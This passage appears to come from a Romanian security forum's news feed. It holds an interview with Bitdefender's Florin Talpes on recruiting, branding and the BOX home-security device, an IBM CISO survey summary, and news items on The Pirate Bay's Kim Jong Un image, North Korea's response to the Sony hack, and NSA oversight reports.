comanda si control, aici este "cartierul general". Pe noi ne intereseaza Romania si ca piata, dar ne intereseaza foarte mult fiindca de aici recrutam oamenii, iar acest al doilea lucru este mai important decat primul. Daca relativ la venituri, Romania reprezinta doar cateva procente, anul trecut doua procente, cand vorbim de rolul oamenilor, ei reprezinta peste 80% si importanta, deci impactul romanilor in business-ul Bitdefender este covarsitor. Noi, cand ne uitam la Romania ne uitam practic la locul de unde ne luam viitorii colegi, Vlad Barza: Campania va poate ajuta strict sa gasiti oameni mai buni in tara? Florin Talpes: Ne poate ajuta. Si aici nu e vorba ca sunt oameni care afla de Bitdefender, fiindca nivelul nostru de notorietate este foarte mare in Romania. Problema e cu asocierea dintre Bitdefender si Romania si noi nu am reusit sa facem ceea ce trebuie fiindca majoritatea celor care stiu de noi nu percep Bitdefender ca un brand provenit din Romania. E perceput ca fiind un brand care vine din alta parte. Ca o fi american, ca o fi german, ca o fi britanic...nu stim, dar vine din alta parte. Nivelul de notorietate e mare in randul romanilor, dar cei mai multi nu stiu ca e o marca romaneasca si ca vorbim de o tehnologie creata in Romania. Tocmai de aceea, in campanie, linia de comunicare a fost "Inteligenta creata in Romania" si speram ca acum cat mai multi au aflat ca Bitdefender e o marca din Romania. Vlad Barza: In campanie mentionati numarul de 500 de milioane de oameni care utilizeaza solutii Bitdefender. Ar fi interesat sa detaliati cati utilizeaza direct solutiile Bitdefender si cati tehnologia creata de companie? Florin Talpes: Cand spunem 500 de milioane de utilizatori spunem clar ca folosesc tehnologia Bitdefender. Ce inseamna asta? Ca poate sa fie produs Bitdefender sau poate sa fie alt produs, dar care sta in buna masura pe tehnologiile de protectie Bitdefender. Poate fi un alt produs, de securitate sau nu, care foloseste "motoarele" de protectie realizate de noi. Este cert ca atunci cand spunem ca 500 de milioane de oameni folosesc tehnologiile noastre, ne referim la tehnologii, nu avem atat de multi utilizatori. Stim exact ce numar de utilizatori avem, insa nu facem public numarul. Vlad Barza: Dar cati dintre cei 500 de milioane sunt in Romania Florin Talpes: Foarte putini. Daca e sa fac acum un calcul estimativ as spune ca sunt pana in jumatate de milion de utilizatori. Vlad Barza: Va asteptati totusi si la un impact asupra vanzarilor in urma campaniei? Florin Talpes: Probabil ca vor creste, dar nu exploziv. Nu ne asteptam ca Romania sa reprezinte 10% pentru ca asta ar insemna ca nu facem o treaba buna in tarile care au piete mult mai mari decat Romania. Insa ne intereseaza reputatia noastra ca echipa, pentru ca aici nu e vorba doar de faptul ca suntem in cautarea unor oamenii de IT, ci si pe alte pozitii, cum ar fi marketing si suport. Exista o varietate mare de pozitii pentru care cautam si formam oameni in Romania. Vlad Barza: Inseamna ca veti creste numarul de angajati in Romania inca multi ani de acum inainte? Florin Talpes: Categoric! Vlad Barza: Intreb pentru ca acum cateva luni ati spus public ca nu vreti ca Bitdefender sa devina o companie prea mare fiindca si-ar pierde agilitatea si puterea de a inova si s-ar instala birocratia... Florin Talpes: Echipa romaneasca o sa creasca sigur, iar echipele din strainatate vor creste cu o viteza mult mai mare si pe undeva e normal, fiindca atunci cand esti mic, viteza de crestere e mai mare. Vlad Barza: Si care ar fi "viteza" de numar mediu de angajati cu care v-ati dori sa cresteti pe plan mondial in urmatorii ani? Florin Talpes: Noi am vrea ca viteza de crestere a echipei sa fie de doua ori mai scazuta decat cea a cifrei de afaceri. (...) Ar insemna undeva la 10-15%/an. Suntem focalizati pe eficienta si mereu am spus ca este o provocare sa lucrezi in Bitdefender care este o scoala de excelenta. Nu cautam neaprat oameni cu "knowlege". ci cu potential. (...) In orice caz, prin campanie ne intereseaza sa crestem notorietatea noastra ca echipa, vanzarile sunt pe plan secundar. Un alt lucru care ne-a interesat a fost si crearea unui model si eu cred ca deja suntem un model care arata ca poti sa reusesti si cu inteligenta romaneasca in orice piata. Am vrut sa le dam tinerilor un exemplu ca, in orice piata, oricat de pretentioasa, poti sa reusesti cu inteligenta romaneasca. Vlad Barza: Clientilor din strainatate le pasa de unde este Bitdefender, le comunicati in vreun fel ca sunteti din Romania, conteaza pentru ei de unde e compania? Florin Talpes: De cele mai nulte ori in pietele tinta, in cele mature, consumatorii au cea mai mare incredere in produsele din pietele respective. Americanii au maxima incredere in marcile americane, germanii, in cele germane. Romania a fost o bucata de vreme pe dos si romanii nu au avut incredere in produsele create de romani. Romanii au crezut mult timp ca produsele create de romani sunt de mana a doua: platesti putin pe ele, dar sunt de proasta calitate. Romanii au crezut ca Romania nu poate creea produse premium si lucrurile se schimba si vedem mult mai multe domenii in care au inceput sa se creeze produse premium si va dau un exemplu dintr-un domeniu complet diferit: vinurile, domeniu unde in ultimii cinci ani au crescut masiv marcile de vinuri premium create in Romania si vorbesc de vinuri premium cu adevarat deosebita. Alta zona creativa: imbracamintea si incaltamintea unde sunt tot mai multe marci romanesti cu produse de top. E clar ca are loc o asezare a valorii adaugate in diverse industrii. Vlad Barza: Insa din ce ati vazut, cum este perceputa Romania in diverse parti ale lumii, dincolo de Europa de Vest unde stiu de cersetori sau de hoti? Florin Talpes: Romania e bine cunoscuta in Europa de Vest, dar acolo are o reputatie negativa, iar aici nu ne referim la oamenii de afaceri sau la IT-istii romani. In mediile profesionale nu exista prejudecati, acolo conteaza cat de bun esti. IT-istii romani insa, oriunde lucreaza, creeaza o imagine pozitiva Romaniei. Cred insa ca imaginea negativa a fost legata si de primul val al iesirilor romanilor "in afara" cand procentul celor care s-au ocupat de lucruri ilegale a fost poate de zece ori mai mare decat e intr-o populatie obisnuita si atunci, cetatenii din tarile respective au vazut foarte multi romani care se ocupau de lucruri rele. Vlad Barza: Dar care este perceptia legata de Romania in regiuni mai indepartate? Florin Talpes: In America de Nord si Canada sunt bariere dure ale vizelor, astfel ca emigratia este una de buna calitate. Acolo sunt romani care si-au luat viata in maini si in multe cazuri sunt profesionisti exceptionali. In Europa de Vest avem inca de luptat cu o imagine negativa legata de Romania, in America va dau exemplul matematicii si in mediul universitar romanii au o foarte buna reputatie. Daca ne uitam la top 25 universitati americane vedem ca fiecare dintre ele avea cel putin un profesor de matematica venit din Romania, daca nu chiar o echipa intreaga. Reputatia acolo este ca daca ai terminat liceul in Romania stii bine matematica, esti tare la matematica. Si se considera ca eest foarte bun la matematica si in comparatie cu cei care vin din alte regiuni. E o reputatie la fel de buna cu cei care vin din China si Coreea de Sud, tari unde se pune accent pe educatia STIM (Stiinta, Tehnologie, Inginerie, Matematica). In afara mediului universitar in America nu prea stie lumea de Romania, insa Europa de Est are o reputatie buna datorita scolii de matematica si fizica, scoala considerata extrem de buna. Vlad Barza: Si e o reputatie meritata si acum. E de actualitate, e scoala atat de buna? Florin Talpes: Inca este, fiindca daca ne uitam la copii care pleaca din Romania cu familiile si aici ma refer la cei care pleaca in clasele V-VIII. Ei bine, cand ajung in afara si se inscriu la scoala pe partea de matematica au un avantaj, e ca si cand sunt cu un an inaintea celorlalti. Inca este un avantaj, dar asta nu inseamna ca Romania lucreaza ca sa si-l mentina. Avantajul nostru este ca inca exista profesori pasionati, nu pentru ca am avea o strategie de tara. Daca mergem in Asia, ei, acolo nu fac de multe ori separarea asta intre Europa de Vest si de Est. Pentru ei exista doar Europa care are o imagine pozitiva Vlad Barza: Ati anuntat recent solutia hardware numita BOX pentru internet of things. In ianuarie va ajunge in SUA la clienti, apoi in Europa de Vest. In Romania va ajunge solutia, este nevoie de ea? Florin Talpes: Solutia BOX este un dispozitiv hardware care insa are in el si mult cloud. Partea hardware este de suport, partea valoroasa a acelei "cutii" este cea de soft care se gaseste atat in cutie, cat si in cloud. Ea se adreseaza utilizatorului individiual. Ma intrebati daca este si pentru Romania solutia asta. Pentru o parte dintre romani este si sa nu uitam ca ea se adreseaza familiilor. Solutia e gandita pentru casele unde exista multe termnale, iar in afara de desktop, laptop si telefoane pot fi televizoare inteligente si alte gadget-uri conectate la internet. Mai nou sunt multe terminale care apar si se conecteaza la internet. Depinde insa unde e Romania si daca exista familii care au ajuns la anumita maturitate. In Germania, numarul mediu de terminale conectate la internet a depasit 20 pentru o familie si aici intra de exemplu si sistemul de management al aerului conditionat, dar si frigiderele, desi lumea zambeste cand aude de frigidere pe internet. Sunt apoi sistemele de alarma, in casa sunt multe lucruri ce pot fi conectate la intrenet si daca ai dispozitive care nu sunt protejate, solutia noastra BOX e necesara. Vlad Barza: Daca in Germania media de dispozitive pentru o familie e de 20, in Romania cat este? Florin Talpes: Cei care vand telefoane spun ca vand aproape numai smartphone-uri, la fel si cei care vand televizoare spun ca vand in majoritate televizoare "inteligente" si asta inseamna ca si in Romania de foarte putin timp se dezvolta zona terminalelor conectate la internet in afara de traditionalele calculatoare. Nu avem o statistica despre numarul mediu de terminale, dar sa nu uitam ca Romania este foarte "imprastiata" fiindca sa nu uitam ca pentru o mare parte a populatiei, un telefon inteligent este o "sperietoare". Telefonul clasic cu butoanele acelea mari este exact ce trebuie pentru o buna parte a populatiei. Foarte multi romani au televizoare clasice si in cel mai bun caz gasesti un calculator "legat" la internet. Insa la orase lucrurile se schimba major si e vorba de copii, in randul carora au patruns tabletele care au devenit foarte accesibile la pret datorita marcilor locale. De exemplu, in 2001 un calculator era cam sase venituri medii lunare/familie, astazi, cu un venit mediu/familie poti sa cumperi poate sase tablete, deci accesibilitatea e mult mai mare. Ne asteptam ca si in Romania in urmatorii ani sa vedem un segment care poate sa fie de 2%, de 3%, de 5%, apoi de 10% care sa fie adecvat solutiei BOX. Asa ca estimare pe care o fac acum pe loc, as zice ca 5-10% din utilizatorii de calculatoror din Romania sunt clienti potriviti pentru BOX. Vlad Barza: BOX este gandita doar pentru familii? Florin Talpes: In acest moment, da. E posibil ca intr-o o dezvoltare ulterioara, cand va avea loc nu stim inca, 2015 sau 2016, sa mergem si spre intreprinderi mici. Vlad Barza: Dar cat conteaza si factorul "psihologic". Oamenii vor de multe ori ceva palpabil si vad acolo o "cutie" in loc de un stick cu un soft sau un simplu cod de activare trimis prin e-mail. Va ajuta vanzarile si faptul ca pur si simplu exista un element hardware? Ce putea si fara "cutie", asadar numai cu soft? Florin Talpes: S-ar putea sa conteze. Noi am muncit mult la proiect, ne-am pus milioane de intrebari si intrebarea cheie a fost <cum pot sa protejez cat mai bine toate lucrurile pe care o familie le detine> Numarul acestor dispozitive creste, la fel insa si amenintarile pentru ele. Ne-am gandit cum putem proteja lucrurile mult mai bine si in acelasi timp sa fie o experienta cat mai placuta, fiindca de obicei securitatea nu este de placere, este ceva necesar. Am vrut sa fie plug-and-play, sa nu ai probleme de configurare, sa ai aceeasi experienta pe care o ai lucrand cu o tableta sau un telefon. Cautand raspunsul la aceste intrebari am ajuns la concluzia ca nu avem cum sa ocolim hardware-ul pentru ca trebuie sa "intram" in familie. Am fi putut pune totul pe un router, fiindca asa intra internetul in familie, dar am decis ca BOX este cea mai buna solutie. Evident ca aceasta "cutie" are o replica virtuala in cloud si oricine va cumpara BOX va avea in cloud o copie, o "umbra" a ei si ea va permite protejarea terminalelor si in afara casei. BOX e un fel de sfera magica prin care, daca trec un dispozitiv si zic <vreau sa fie protejat de BOX> indifierent unde merg cu el va putea fi protejat datorita replicii din cloud. M-ati intrebat daca hardware-ul va ajuta sau nu. A fost o vreme in care vanzarile de hardware pareau ca o ia razna, iar acum ne apropiem de 25 de miliarde de dispozitive conectate la internet in intreaga lume si sunt din toate domeniile. Asta inseamna ca in momentul asta lumea s-a intors si vrea sa cumpere, iar lucrurile care exista fizic au inceput sa revina "pe masa". Ca si gadget e mult mai bine privit un dispozitiv care exista fizic, decat ceva care exista doar ca software. E clar o revenire a placerii oamenilor de a cumpara lucruri care exista fizic. Dar, cum spuneam, decizia noastra nu a fost legata de moda, ci a fost legata de raspunsul la intrebarea: cum putem sa protejam cat mai bine toate terminalele unei familii. Vlad Barza: S-a mai schimbat atitudinea romanului de rand care sta pe internet, pe Facebook, fata de programele de securitate informatica? Pe PC lumea pune antivirus, insa pe smartphone este lumea constienta ca pot fi mari pericole de securitate? Florin Talpes: Se schimba din ce in ce mai mult fiindca oamenii incep sa constientizeze ca si terminalul pe care-l au e valoros, dar si datele si aplicatiile au o valoare pentru ei. Vedem un nivel de utilizare din ce in ce mai mare al solutiilor de securitate pe terminalele mobile si un procent foarte mare dintre cei care detin astfel de terminale au pe ele solutii de securitate. Nu uitati ca operatorii vin cu propuneri de securitate fiindca si ei sunt interesati ca utilizatorii si terminalele sa aiba cat mai putine probleme fiindca, atunci cand vorbim de securitate, daca un utilizator are o problema, primul lucru la care se gandeste este ca fie telefonul are o problema, fie operatorul are o problema. Operatorul ar vrea sa aiba cat mai putina bataie de cap pe partea asta, iar operatorii de telefonie mobila au devenit un canal de distributie al solutiilor de securitate. Vlad Barza: Dar cum vedeti dezvoltarea smartwatch-ului. O sa adopte romanii ceasurile inteligente si pot avea si ele probleme de securitate? Florin Talpes: Absolut toate terminalele care se conecteaza la internet fac parte din ceea ce numim in termeni militari un "perimetru de atac" al cuiva. Eu cred ca, asa cum tabletele au inceput sa patrunda puternic pentru ca au aparut marci locale care le-au facut accesibile, si la ceasuri inteligente tot marcile locale vor duce la cresterea pietei in urmatorii cinci ani. Vlad Barza: Dar nu credeti ca aceste ceasuri ale unor marci locale vor avea o rezolutie extrem de slaba, poate ceva in genul celor mai simple telefoane Nokia? Florin Talpes: E posibil ca acesta sa fie primul val, sa fie un prim experiment. Ganditi-va ca la 200-300 lei poti cumpara o tableta bunicica (...) Ma astept ca in urmatorii trei ani un ceas inteligent de 200-300 lei sa fie incadrat la categoria ceasurilor scumpe si sa fie foarte bun. Un ceas nu va costa cat o tableta si, chiar daca primele ceasuri sunt scumpe, va fi o dinamica extrem de mare. (...) Si sa nu uitam ca un ceas e doar un ceas, are ecran mic 1,5-2 inci, noi ne plangem si ca smartphone-urile de 4-4,5 inci au ecrane mici. Vor aparea ceasuri specializate, spre exemplu ceasurile care sa ii ajute pe cei in varsta sa isi aminteasca sa isi ia medicamentele, fiindca lista e tot mai mare si mai complicata, cu cat creste varsta. De fapt ce inseamna marcile locale? Daca cineva se ducea in China acum trei ani ar fi ramas surprins sa vada ca putea cumpara o tableta cu specificatii echivalente cu iPad la 30-40 de dolari, in timp ce iPad era 300-400 de dolari. Ei bine, marcile locale au permis sa se intample acelasi lucruri si in Romania si la fel se va intampla si cu ceasurile inteligente. Vlad Barza: Ce veti lansa in urmatorii ani. Aveti in plan ceva produse de securitate iesite din comun? Florin Talpes: In momentul acest lucram, si tocmai am facut niste demonstratii in vara asta in SUA, la un nou mod de a privi securitatea. Astazi atacatorii au acelasi nivel de privilegii cu cei care apara un terminal, fiindca amandoi sunt pozitionati peste sistemul de operare. De exemplu, la un telefon mobil cu Android, aplicatiile de securitate vin peste sistemul de operare, se instaleaza pe Android si atacatorul are aceleasi privilegii ca si solutia de securitate. Exista in tehnologie ceea ce se numeste hipervizorul in masinile virtuale, care este sub sistemul de operare. V-am dat exemplul cu serverele, am hard-ul, vine hipervizorul care genereaza masini virtuale si fiecare masina virtuala are un sistem de operare, ca vorbim de Windows sau Linux. Hipervizorul este sub sistemul de operare si aici avem niste tehnologii care lucreaza la nivel de hipervizor, tehnologii care noi credem ca in urmatorii ani vor duce la cresterea "costurilor" atacului. Intotdeauna, atunci cand vorbim de securitate, vorbim de atacator si de cei care apara. Aici e vorba de o cursa care tine de multi ani si, pe masura ce se construiesc sisteme mai avansate de aparare, cei care ataca pot construi sisteme care sa le depaseasca, sa construiasca sisteme si mai sofisticate de atac. E ceea ce noi nunim "costul" atacului. Astazi, cele mai multe atacuri se duc acolo unde costul atacului este mic. Ca sa dau un exemplu din viata, un hot care se duce intr-un cartier de case va cauta locuinte care isi lasa o usa descuiata, un geam descuiat sau se duce la o casa si, in loc sa aduca un specialist in incuietori, da un ocol al casei sa vada daca ceva e deschis. Asta inseamna "cost scazu" al atacului. Ceea ce facem cu partea de hipervizoare si securitatea la acel nivel, e ca o sa crestem foarte mult "costul atacului" si cine va folosi securitatea noastra va avea toate usile si ferestrele super-incuiate cu multiple nivele de incuietori si oricine vine va trebui sa consume resurse si timp pentru a le deschide. Vlad Barza: Cand veti lansa solutia? Florin Talpes: In 2015. Am facut demonstratii, teste si acum suntem in faza de "productivizare", cum spunem noi. Source
  21. Aproximativ 60% din liderii in securitate sunt de parere ca hackerii au depasit capabilitatile securitatii cibernetice din cadrul organizatiei lor Peste 80% din liderii in securitate sunt de parere ca provocarea lansata de amenintari externe este in crestere, in timp ce 60% sunt de acord ca oraganizatiile sunt depasite in acest razboi cibernetic, conform unor rezultate anuntate de IBM. In plus studiul dezvaluie ca tehnologia este vazuta ca o componenta critica in adresarea acestor probleme legate de securitate si amenintari, iar big data, cloud si mobile sunt clasificate ca fiind domeniile cele mai importante din punct de vedere al prioritatii. Cel de-al 3-lea studiu anual al IBM Cief Information Security Officer a fost efectuat de catre Centrul IBM pentru Perceptii Aplicate si este bazat pe raspunsurile a 138 de interviuri detaliate avand ca participanti majoritatea liderilor in securitate. Amenintarile sofisticate din exterior au fost identificate de 40% din expertii in securitate. Pe masura ce liderii de companii continua sa contureze prioritatile afacerii, amenintarile din exterior vor necesita un efort organizational insemnat in urmatorii trei pana la cinci ani. In prezent organizatiile regandesc strategiile de securitate cibernetica Scopul studiului a fost acela de a dezvalui si de a intelege modul in care organizatiile se apara impotriva atacurilor cibernetice, rezultand ca 70% din liderii de securitate sunt de parere ca ei au tehnologii traditionale, suficient de dezvoltate care se axeaza pe anticiparea intruziunilor in retea, detectia avansata a softurilor rau intentionate si scanarea de vulnerabilitati a retelei. Alte concluzii suplimentare dezvaluite de studiul IBM CISO includ: Securitatea in mediul Cloud continua sa fie lider pe Agenda: In timp ce interesul asupra securitatii in mediul cloud ramane ridicat, aproape 90% dintre cei chestionati in cadrul studiului au adoptat platforma cloud sau au in momentul de fata planuri pentru initiative in mediul cloud. Din acest grup, 75% se asteapta ca bugetul lor pentru securitate in mediul cloud sa creasca sau sa creasca dramatic pe parcursul urmatorilor trei pana la cinci ani. Capabilitatile inteligente de securitate bazate pe date sunt o prioritate: Peste 70% din liderii in securitate au declarat ca solutiile inteligente ale securitatii in timp real sunt din ce in ce mai importante pentru organizatiile lor. In ciuda acestui puternic acord, studiul a constatat domenii precum descoperirea si clasificarea datelor si analize inteligente de securitate care aveau o dezvoltare relativ mica (54%) si necesitau o mai mare nevoie de imbunatatire sau transformare. Necesitatile inseminate pentru securitatea in domeniul mobile, se mentin: In ciuda faptului ca forta de munca in domeniul mobile este in crestere, doar 45% din liderii in securitate declara ca au o abordare eficienta in gestionarea dispozitivelor mobile. De fapt conform studiului, securitatea mobila si cea a dispozitivelor s-a clasat pe o pozitie joasa pe lista de dezvoltare (51%). Imputernicirea liderilor de astazi in securitate Avand in vedere continua dezvoltare a regulamentelor guvernamentale si a atacurilor cibernetice, majoritatea organizatiilor si-au redefinit punctul de vedere in ceea ce priveste securitatea in ultimii trei ani, plasand liderii in securitate in roluri mult mai influente. Conform studiului 90% dintre liderii in securitate sunt de acord cu faptul ca au o influenta insemnata in cadrul organizatiei, iar 76% sunt aceia care declara ca gradul lor de influenta a crescut semnificativ in ultimii trei ani. In plus, 71% sunt complet de acord ca primesc sprijinul necesar din partea organizatiei pentru a-si face datoria mult mai eficient. Source
  22. tu ai pus doar link spre "deface" eu am postat stirea, nu are treaba cu ceea ce ai postat tu!
  23. Surprisingly, from yesterday a cartoon picture of the supreme leader of the Democratic People's Republic of Korea (North Korea) named Kim Jong-un appearing on The Pirate Bay website’s homepage, but WHY? At the beginning of this month, The Pirate Bay — an infamous Torrent website predominantly used to share copyrighted material such as films, TV shows and music files, free of charge — went dark from the internet during a raid operation carried out by Swedish Police. However, a number of clones and rumors of rebirths of the infamous The Pirate Bay (TPB) appeared online, but the official domain of The Pirate Bay (ThePirateBay.se) remained inaccessible, until last week. ThePirateBay.se, the official domain of TPB returned to life, but without an archive of torrent files and now showing a ticking clock, with the Jolly Roger (skull and crossbones Pirate flag) waving in the background, and an image with apparently random characters with the filename AES.png, hinting it might be an encryption key and the website is also showing a cartoon sketch of the dictator of reclusive North Korean regime – Kim Jong Un. Last week when the official domain came back online, it showed a pirate boat with multiple reptile heads, likely refer to a Hydra — a Greek mythological figure that grew two heads for every head that was cut off. This image was included in the source code, with the hint "sneakyhint", which could be a hint that the website is going to make or allow people to create their own Pirate Bay clone under "The Open Bay" project. The Open Bay is an initiative launched by Isohunt.to, which allows people to run a "copy" of The Pirate Bay. As earlier the TPB crew said that it would create as many clones as possible, so that The Pirate Bay will never ever went dark. Since it appeared that the image of Kim Jong un was included in the TPB homepage due to all the controversies about The Interview — the Seth Rogen and James Franco-starring comedy centered around a TV host and his producer assassinating North Korean dictator Kim Jong Un, and surrounding claims that North Korea was behind the hacking of Sony Pictures' corporate network. At the time, it is unclear that why the “sneakyhint” image of hydra was replaced with Kim Jong Un by Pirate Bay crew. However, a group of Albanian hackers claimed that they managed to hacked the website and added Kim Jong Un image on the TPB’s homepage. But I doubt, because if TPB would have been hacked by hackers then they would have definitely defaced whole website by having access to the site, not just the replacement of a single image. Kim Jong Un image on The Pirate Bay homepage started a discussion on the online portal Reddit, where users guessing their best. But, I felt that if The Pirate Bay team is actually hinting all of us that they are moving their servers to North Korea, then it could create a huge dramatic situation between the US and North Korea after the massive Sony Pictures hack. Source
  24. (Reuters) - North Korea called U.S. President Barack Obama a "monkey" and blamed Washington on Saturday for Internet outages that it has experienced during a confrontation with the United States over the hacking of the film studio Sony Pictures. The National Defence Commission, the North's ruling body, chaired by state leader Kim Jong Un, said Obama was responsible for Sony's belated decision to release the action comedy "The Interview", which depicts a plot to assassinate Kim. "Obama always goes reckless in words and deeds like a monkey in a tropical forest," an unnamed spokesman for the commission said in a statement carried by the official KCNA news agency, using a term seemingly designed to cause racial offence that North Korea has resorted to before. Sony cancelled the release of the film when large cinema chains refused to screen it following threats of violence from hackers, but then put it out on limited release after Obama said Sony was caving in to North Korean pressure. Obama promised retaliation against North Korea, but did not specify what form it would take. North Korea's main Internet sites suffered intermittent disruptions this week, including a complete outage of nearly nine hours, before links were largely restored on Tuesday. But its Internet and 3G mobile networks were paralysed again on Saturday evening, China's official Xinhua news agency reported, and the North Korean government blamed the United States for systemic instability in the country's networks. In its statement on Saturday, the North again rejected an accusation by the U.S. Federal Bureau of Investigation that North Korea was behind the cyberattack on Sony Pictures, and demanded the United States produce evidence for its allegation. The National Defence Commission also dismissed U.S. denials of involvement in North Korea's Internet outages. "The United States, with its large physical size and oblivious to the shame of playing hide and seek as children with runny noses would, has begun disrupting the Internet operations of the main media outlets of our republic," it said. In a separate commentary, the North denied any role in cyberattacks on South Korea's nuclear power plant operator, calling the suggestion that it had done so part of a "smear campaign" by unpopular South Korean leaders. A South Korean official investigating the attacks this week, which led to leaks of internal data from Korea Hydro and Nuclear Power, said Seoul was not ruling out North Korean involvement. "The South Korean puppet authorities are working hard to link this case with (us), though the truth about it has not been probed," Minju Joson, the official publication of the North's cabinet, said in a commentary carried by KCNA. Source
  25. The National Security Agency released documents on Christmas Eve revealing surveillance activities that “may have violated the law for U.S. policy over more than a decade,” reports David Lerman at Bloomberg. Compelled by an ACLU FOIA request, the agency published 12 years of quarterly reports that were created for the President’s Intelligence Oversight Board between 2001 and mid-2013. The reports are heavily redacted but include details of intentional and unintentional misuse of the NSA’s signals intelligence gathering systems. The reports detail unauthorized signals intelligence gathering that included data about U.S. citizens, unauthorized personnel using the intelligence gathering systems and abuses of the NSA’s spying tools for personal use. NSA signals intelligence includes phone call metadata gathered through the NSA’s links to telecommunications companies, as well as much more granular communications scooped up by the agency’s electronic spy network. There are also several references to employees failing to complete required “refresher” training on signals intelligence systems. In many instances, NSA employees ran poorly constructed or unauthorized queries in the NSA systems, and ended up gathering data on U.S. citizens or unintended targets. In most of these cases the data was then destroyed. In one case, detailed in the third quarter of 2007, an NSA instructor ran an unauthorized search during a training session: Lerman also reports on instances of NSA systems misuse that were already publicly known: In August, 2013, Judy Woodruff spoke with former NSA analyst Russell Tice who said the agency collects every domestic communication, “word for word.” Source
×
×
  • Create New...